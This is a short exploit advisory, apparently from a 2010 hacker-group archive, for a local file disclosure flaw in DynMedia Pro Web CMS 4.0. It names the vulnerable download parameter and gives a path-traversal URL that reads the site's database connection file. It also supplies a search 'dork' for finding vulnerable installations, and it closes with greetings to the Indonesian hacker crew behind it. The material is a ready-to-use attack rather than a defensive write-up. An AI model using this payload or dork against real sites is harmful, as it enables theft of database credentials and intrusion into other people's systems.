DynMedia Pro Web CMS 4.0 File Disclosure

`|||[!]===========================================================================[!]  
  
[~] DynMedia Pro Web CMS 4.0 ||Local File Disclosure Exploit|  
|[~] Author : Mbah_Semar ([email protected])  
[~] Homepage : http://www.indonesianhacker.or.id | http://suramcrew.org  
| http://www.masfuji.us  
[~] Date : 22 April, 2010  
  
[!]===========================================================================[!]  
  
[ Software Information ]  
  
[+] Vendor : http://www.vinyadmedia.com  
[+] License : Commercial  
[+] Vulnerability : ||||Local File Disclosure|  
|[+] Dork : "Powered by Vinyad dynMedia�Pro 4.0"  
[+] Version : 4.0  
  
[!]===========================================================================[!]  
  
[ Vulnerable File ]  
http://www.example.com/downloadfile.php?dwnfile=[LFD]  
  
  
  
[ Example ]  
  
http://www.example.com/downloadfile.php?dwnfile=../library/dbconnect.php  
  
  
[!]===========================================================================[!]  
  
[ Thanks TO ]  
  
[+] Indonesian Hacker Team  
[+] Virgi aka Bl4ck_b0x, gisa maho, Lukas Ranger Zero-Line, Aanz, Angga,  
riv182, sudden_death, alusius, and you.  
[+] Semua kaum Suram dimanapun berada yang tidak bisa disebukan satu persatu  
  
  
[ NOTE ]  
  
[+] Tolong kasih saya sesaji berupa Kopi Item dan rokok Gudang Garam  
International  
|  
  
`